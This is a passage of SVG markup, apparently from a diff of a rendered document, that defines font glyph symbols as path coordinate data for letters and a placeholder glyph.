C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-6"> +<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-7"> +<path style="stroke:none;" d="M 3.265625 -5.203125 L 0.59375 -10.15625 L 2.34375 -10.15625 L 3.84375 -7.25 L 4.25 -6.125 L 4.671875 -7.25 L 6.21875 -10.15625 L 7.828125 -10.15625 L 5.125 -5.28125 L 7.984375 0 L 6.328125 0 L 4.609375 -3.1875 L 4.171875 -4.40625 L 3.703125 -3.1875 L 1.984375 0 L 0.390625 0 Z M 3.265625 -5.203125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-8"> +<path style="stroke:none;" d="M 3.421875 -4.578125 L 2.65625 -4.578125 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -5.5625 L 3.328125 -5.859375 L 5.71875 -10.15625 L 7.40625 -10.15625 L 5 -6.0625 L 4.296875 -5.40625 L 5.125 -4.609375 L 7.75 0 L 5.96875 0 Z M 3.421875 -4.578125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-9"> +<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-10"> +<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-11"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph0-12"> +<path style="stroke:none;" d="M 3.65625 -4.203125 L 4.0625 -2.203125 L 4.109375 -2.203125 L 4.46875 -4.25 L 6.265625 -10.15625 L 7.8125 -10.15625 L 4.328125 0.21875 L 3.625 0.21875 L 0.078125 -10.15625 L 1.75 -10.15625 Z M 3.65625 -4.203125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-13"> +<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-14"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-15"> +<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-16"> +<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-17"> +<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.1875 C 6.40625 -7.132812 6.289062 -7.851562 6.0625 -8.34375 C 5.84375 -8.84375 5.398438 -9.09375 4.734375 -9.09375 C 4.265625 -9.09375 3.832031 -8.921875 3.4375 -8.578125 C 3.050781 -8.234375 2.789062 -7.804688 2.65625 -7.296875 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.203125 L 2.71875 -9.203125 C 2.988281 -9.554688 3.320312 -9.84375 3.71875 -10.0625 C 4.125 -10.289062 4.625 -10.40625 5.21875 -10.40625 C 5.664062 -10.40625 6.054688 -10.34375 6.390625 -10.21875 C 6.722656 -10.101562 7 -9.894531 7.21875 -9.59375 C 7.4375 -9.289062 7.597656 -8.890625 7.703125 -8.390625 C 7.804688 -7.898438 7.859375 -7.289062 7.859375 -6.5625 L 7.859375 0 Z M 6.40625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-18"> +<path style="stroke:none;" d="M 7.609375 0.46875 C 7.609375 1.78125 7.316406 2.75 6.734375 3.375 C 6.148438 4 5.300781 4.3125 4.1875 4.3125 C 3.507812 4.3125 2.953125 4.253906 2.515625 4.140625 C 2.085938 4.023438 1.738281 3.890625 1.46875 3.734375 L 1.890625 2.484375 C 2.160156 2.597656 2.457031 2.707031 2.78125 2.8125 C 3.101562 2.925781 3.503906 2.984375 3.984375 2.984375 C 4.804688 2.984375 5.367188 2.753906 5.671875 2.296875 C 5.984375 1.835938 6.140625 1.066406 6.140625 -0.015625 L 6.140625 -0.765625 L 6.078125 -0.765625 C 5.859375 -0.460938 5.578125 -0.222656 5.234375 -0.046875 C 4.898438 0.128906 4.46875 0.21875 3.9375 0.21875 C 2.84375 0.21875 2.035156 -0.203125 1.515625 -1.046875 C 1.003906 -1.890625 0.75 -3.222656 0.75 -5.046875 C 0.75 -6.785156 1.082031 -8.101562 1.75 -9 C 2.425781 -9.894531 3.421875 -10.34375 4.734375 -10.34375 C 5.367188 -10.34375 5.914062 -10.28125 6.375 -10.15625 C 6.84375 -10.039062 7.253906 -9.898438 7.609375 -9.734375 Z M 6.140625 -8.703125 C 5.734375 -8.921875 5.210938 -9.03125 4.578125 -9.03125 C 3.878906 -9.03125 3.320312 -8.710938 2.90625 -8.078125 C 2.488281 -7.453125 2.28125 -6.445312 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.960938 2.375 -3.484375 C 2.445312 -3.003906 2.5625 -2.582031 2.71875 -2.21875 C 2.882812 -1.863281 3.09375 -1.585938 3.34375 -1.390625 C 3.59375 -1.191406 3.898438 -1.09375 4.265625 -1.09375 C 4.785156 -1.09375 5.191406 -1.226562 5.484375 -1.5 C 5.785156 -1.769531 6.003906 -2.175781 6.140625 -2.71875 Z M 6.140625 -8.703125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-19"> +<path style="stroke:none;" d="M 1.46875 -14.234375 L 2.859375 -14.234375 L 2.34375 -10.3125 L 1.46875 -10.3125 Z M 1.46875 -14.234375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-20"> +<path style="stroke:none;" d="M 8.0625 -6.5625 L 2.828125 -6.5625 L 2.828125 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -7.96875 L 8.0625 -7.96875 L 8.0625 -14.234375 L 9.59375 -14.234375 L 9.59375 0 L 8.0625 0 Z M 8.0625 -6.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-21"> +<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-22"> +<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-23"> +<path style="stroke:none;" d="M 8.15625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -1.40625 L 8.15625 -1.40625 Z M 8.15625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-0"> +<path style="stroke:none;" d="M 0.90625 -12.640625 L 12.640625 -12.640625 L 12.640625 0 L 0.90625 0 Z M 10.296875 -11.203125 L 6.78125 -7.28125 L 3.25 -11.203125 L 2.34375 -10.296875 L 5.90625 -6.328125 L 2.34375 -2.34375 L 3.25 -1.4375 L 6.78125 -5.359375 L 10.296875 -1.4375 L 11.203125 -2.34375 L 7.625 -6.328125 L 11.203125 -10.296875 Z M 2.328125 -0.484375 L 2.46875 -0.484375 L 2.46875 -0.703125 L 2.546875 -0.703125 C 2.617188 -0.703125 2.679688 -0.71875 2.734375 -0.75 C 2.796875 -0.78125 2.828125 -0.835938 2.828125 -0.921875 C 2.828125 -1.015625 2.796875 -1.070312 2.734375 -1.09375 C 2.671875 -1.125 2.601562 -1.140625 2.53125 -1.140625 L 2.328125 -1.140625 Z M 2.546875 -1.03125 C 2.640625 -1.03125 2.6875 -1 2.6875 -0.9375 C 2.6875 -0.875 2.671875 -0.835938 2.640625 -0.828125 C 2.609375 -0.828125 2.570312 -0.828125 2.53125 -0.828125 L 2.46875 -0.828125 L 2.46875 -1.03125 Z M 3.40625 -1.140625 L 2.859375 -1.140625 L 2.859375 -1.03125 L 3.078125 -1.03125 L 3.078125 -0.484375 L 3.203125 -0.484375 L 3.203125 -1.03125 L 3.40625 -1.03125 Z M 4.015625 -0.671875 C 4.015625 -0.617188 3.972656 -0.59375 3.890625 -0.59375 C 3.796875 -0.59375 3.738281 -0.601562 3.71875 -0.625 L 3.671875 -0.5 C 3.691406 -0.5 3.71875 -0.492188 3.75 -0.484375 C 3.789062 -0.472656 3.84375 -0.46875 3.90625 -0.46875 C 4.070312 -0.46875 4.15625 -0.539062 4.15625 -0.6875 C 4.15625 -0.789062 4.097656 -0.847656 3.984375 -0.859375 C 3.878906 -0.878906 3.828125 -0.914062 3.828125 -0.96875 C 3.828125 -1.007812 3.863281 -1.03125 3.9375 -1.03125 C 4 -1.03125 4.050781 -1.019531 4.09375 -1 L 4.140625 -1.125 C 4.066406 -1.144531 4 -1.15625 3.9375 -1.15625 C 3.769531 -1.15625 3.6875 -1.085938 3.6875 -0.953125 C 3.6875 -0.890625 3.703125 -0.847656 3.734375 -0.828125 C 3.773438 -0.804688 3.8125 -0.785156 3.84375 -0.765625 C 3.882812 -0.742188 3.921875 -0.726562 3.953125 -0.71875 C 3.992188 -0.707031 4.015625 -0.691406 4.015625 -0.671875 Z M 4.28125 -0.84375 C 4.332031 -0.875 4.382812 -0.890625 4.4375 -0.890625 C 4.5 -0.890625 4.53125 -0.863281 4.53125 -0.8125 L 4.53125 -0.78125 C 4.519531 -0.78125 4.507812 -0.78125 4.5 -0.78125 C 4.488281 -0.789062 4.46875 -0.796875 4.4375 -0.796875 C 4.300781 -0.796875 4.234375 -0.734375 4.234375 -0.609375 C 4.234375 -0.515625 4.28125 -0.46875 4.375 -0.46875 C 4.445312 -0.46875 4.5 -0.5 4.53125 -0.5625 L 4.5625 -0.484375 L 4.671875 -0.484375 C 4.660156 -0.515625 4.65625 -0.554688 4.65625 -0.609375 L 4.65625 -0.8125 C 4.65625 -0.9375 4.597656 -1 4.484375 -1 C 4.429688 -1 4.382812 -0.988281 4.34375 -0.96875 C 4.300781 -0.957031 4.269531 -0.945312 4.25 -0.9375 Z M 4.421875 -0.578125 C 4.378906 -0.578125 4.359375 -0.601562 4.359375 -0.65625 C 4.359375 -0.695312 4.382812 -0.71875 4.4375 -0.71875 C 4.46875 -0.71875 4.488281 -0.710938 4.5 -0.703125 C 4.507812 -0.703125 4.519531 -0.703125 4.53125 -0.703125 L 4.53125 -0.65625 C 4.507812 -0.601562 4.472656 -0.578125 4.421875 -0.578125 Z M 5.28125 -0.484375 L 5.28125 -0.78125 C 5.28125 -0.925781 5.222656 -1 5.109375 -1 C 5.023438 -1 4.96875 -0.96875 4.9375 -0.90625 L 4.890625 -0.96875 L 4.796875 -0.96875 L 4.796875 -0.484375 L 4.9375 -0.484375 L 4.9375 -0.796875 C 4.957031 -0.835938 4.992188 -0.859375 5.046875 -0.859375 C 5.097656 -0.859375 5.125 -0.828125 5.125 -0.765625 L 5.125 -0.484375 Z M 5.359375 -0.5 C 5.410156 -0.476562 5.472656 -0.46875 5.546875 -0.46875 C 5.679688 -0.46875 5.75 -0.519531 5.75 -0.625 C 5.75 -0.6875 5.734375 -0.722656 5.703125 -0.734375 C 5.671875 -0.753906 5.632812 -0.773438 5.59375 -0.796875 C 5.539062 -0.816406 5.515625 -0.832031 5.515625 -0.84375 C 5.515625 -0.875 5.53125 -0.890625 5.5625 -0.890625 C 5.613281 -0.890625 5.660156 -0.875 5.703125 -0.84375 L 5.75 -0.953125 C 5.695312 -0.984375 5.632812 -1 5.5625 -1 C 5.4375 -1 5.375 -0.941406 5.375 -0.828125 C 5.375 -0.765625 5.390625 -0.722656 5.421875 -0.703125 C 5.460938 -0.691406 5.5 -0.679688 5.53125 -0.671875 C 5.59375 -0.671875 5.625 -0.648438 5.625 -0.609375 C 5.625 -0.585938 5.601562 -0.578125 5.5625 -0.578125 C 5.5 -0.578125 5.445312 -0.585938 5.40625 -0.609375 Z M 6.109375 -0.765625 C 6.109375 -0.503906 6.226562 -0.375 6.46875 -0.375 C 6.707031 -0.375 6.828125 -0.503906 6.828125 -0.765625 C 6.828125 -1.003906 6.707031 -1.125 6.46875 -1.125 C 6.375 -1.125 6.289062 -1.085938 6.21875 -1.015625 C 6.144531 -0.953125 6.109375 -0.867188 6.109375 -0.765625 Z M 6.21875 -0.765625 C 6.21875 -0.941406 6.300781 -1.03125 6.46875 -1.03125 C 6.632812 -1.03125 6.71875 -0.941406 6.71875 -0.765625 C 6.71875 -0.578125 6.632812 -0.484375 6.46875 -0.484375 C 6.300781 -0.484375 6.21875 -0.578125 6.21875 -0.765625 Z M 6.578125 -0.6875 C 6.546875 -0.675781 6.519531 -0.671875 6.5 -0.671875 C 6.457031 -0.671875 6.4375 -0.703125 6.4375 -0.765625 C 6.4375 -0.804688 6.457031 -0.828125 6.5 -0.828125 L 6.5625 -0.828125 L 6.59375 -0.90625 C 6.539062 -0.925781 6.5 -0.9375 6.46875 -0.9375 C 6.351562 -0.9375 6.296875 -0.878906 6.296875 -0.765625 C 6.296875 -0.628906 6.351562 -0.5625 6.46875 -0.5625 C 6.53125 -0.5625 6.570312 -0.570312 6.59375 -0.59375 Z M 7.203125 -0.484375 L 7.34375 -0.484375 L 7.34375 -0.703125 L 7.421875 -0.703125 C 7.492188 -0.703125 7.5625 -0.71875 7.625 -0.75 C 7.6875 -0.78125 7.71875 -0.835938 7.71875 -0.921875 C 7.71875 -1.015625 7.679688 -1.070312 7.609375 -1.09375 C 7.546875 -1.125 7.476562 -1.140625 7.40625 -1.140625 L 7.203125 -1.140625 Z M 7.421875 -1.03125 C 7.515625 -1.03125 7.5625 -1 7.5625 -0.9375 C 7.5625 -0.875 7.546875 -0.835938 7.515625 -0.828125 C 7.492188 -0.828125 7.457031 -0.828125 7.40625 -0.828125 L 7.34375 -0.828125 L 7.34375 -1.03125 Z M 7.796875 -0.84375 C 7.847656 -0.875 7.90625 -0.890625 7.96875 -0.890625 C 8.03125 -0.890625 8.0625 -0.863281 8.0625 -0.8125 L 8.0625 -0.78125 C 8.039062 -0.78125 8.023438 -0.78125 8.015625 -0.78125 C 8.003906 -0.789062 7.988281 -0.796875 7.96875 -0.796875 C 7.8125 -0.796875 7.734375 -0.734375 7.734375 -0.609375 C 7.734375 -0.515625 7.785156 -0.46875 7.890625 -0.46875 C 7.960938 -0.46875 8.019531 -0.5 8.0625 -0.5625 L 8.09375 -0.484375 L 8.203125 -0.484375 C 8.191406 -0.515625 8.1875 -0.554688 8.1875 -0.609375 L 8.1875 -0.8125 C 8.1875 -0.9375 8.125 -1 8 -1 C 7.945312 -1 7.898438 -0.988281 7.859375 -0.96875 C 7.816406 -0.957031 7.785156 -0.945312 7.765625 -0.9375 Z M 7.953125 -0.578125 C 7.898438 -0.578125 7.875 -0.601562 7.875 -0.65625 C 7.875 -0.695312 7.90625 -0.71875 7.96875 -0.71875 C 7.988281 -0.71875 8.003906 -0.710938 8.015625 -0.703125 C 8.023438 -0.703125 8.039062 -0.703125 8.0625 -0.703125 L 8.0625 -0.65625 C 8.03125 -0.601562 7.992188 -0.578125 7.953125 -0.578125 Z M 8.640625 -0.96875 C 8.617188 -0.988281 8.59375 -1 8.5625 -1 C 8.507812 -1 8.472656 -0.96875 8.453125 -0.90625 L 8.4375 -0.90625 L 8.421875 -0.96875 L 8.3125 -0.96875 L 8.3125 -0.484375 L 8.453125 -0.484375 L 8.453125 -0.796875 C 8.453125 -0.835938 8.488281 -0.859375 8.5625 -0.859375 L 8.578125 -0.859375 C 8.585938 -0.859375 8.59375 -0.851562 8.59375 -0.84375 C 8.59375 -0.84375 8.597656 -0.84375 8.609375 -0.84375 Z M 8.71875 -0.84375 C 8.789062 -0.875 8.847656 -0.890625 8.890625 -0.890625 C 8.953125 -0.890625 8.984375 -0.863281 8.984375 -0.8125 L 8.984375 -0.78125 C 8.960938 -0.78125 8.945312 -0.78125 8.9375 -0.78125 C 8.925781 -0.789062 8.910156 -0.796875 8.890625 -0.796875 C 8.734375 -0.796875 8.65625 -0.734375 8.65625 -0.609375 C 8.65625 -0.515625 8.707031 -0.46875 8.8125 -0.46875 C 8.894531 -0.46875 8.953125 -0.5 8.984375 -0.5625 L 9 -0.5625 L 9.015625 -0.484375 L 9.125 -0.484375 C 9.113281 -0.515625 9.109375 -0.554688 9.109375 -0.609375 L 9.109375 -0.8125 C 9.109375 -0.9375 9.046875 -1 8.921875 -1 C 8.867188 -1 8.828125 -0.988281 8.796875 -0.96875 C 8.765625 -0.957031 8.734375 -0.945312 8.703125 -0.9375 Z M 8.875 -0.578125 C 8.820312 -0.578125 8.796875 -0.601562 8.796875 -0.65625 C 8.796875 -0.695312 8.828125 -0.71875 8.890625 -0.71875 C 8.910156 -0.71875 8.925781 -0.710938 8.9375 -0.703125 C 8.945312 -0.703125 8.960938 -0.703125 8.984375 -0.703125 L 8.984375 -0.65625 C 8.953125 -0.601562 8.914062 -0.578125 8.875 -0.578125 Z M 9.625 -1.140625 L 9.0625 -1.140625 L 9.0625 -1.03125 L 9.265625 -1.03125 L 9.265625 -0.484375 L 9.40625 -0.484375 L 9.40625 -1.03125 L 9.625 -1.03125 Z M 9.765625 -0.96875 L 9.625 -0.96875 L 9.84375 -0.484375 C 9.832031 -0.421875 9.800781 -0.390625 9.75 -0.390625 L 9.734375 -0.421875 L 9.703125 -0.3125 C 9.722656 -0.289062 9.753906 -0.28125 9.796875 -0.28125 C 9.847656 -0.28125 9.90625 -0.363281 9.96875 -0.53125 L 10.15625 -0.96875 L 10 -0.96875 L 9.921875 -0.703125 L 9.921875 -0.609375 L 9.890625 -0.609375 L 9.875 -0.703125 Z M 10.203125 -0.28125 L 10.34375 -0.28125 L 10.34375 -0.5 C 10.363281 -0.476562 10.394531 -0.46875 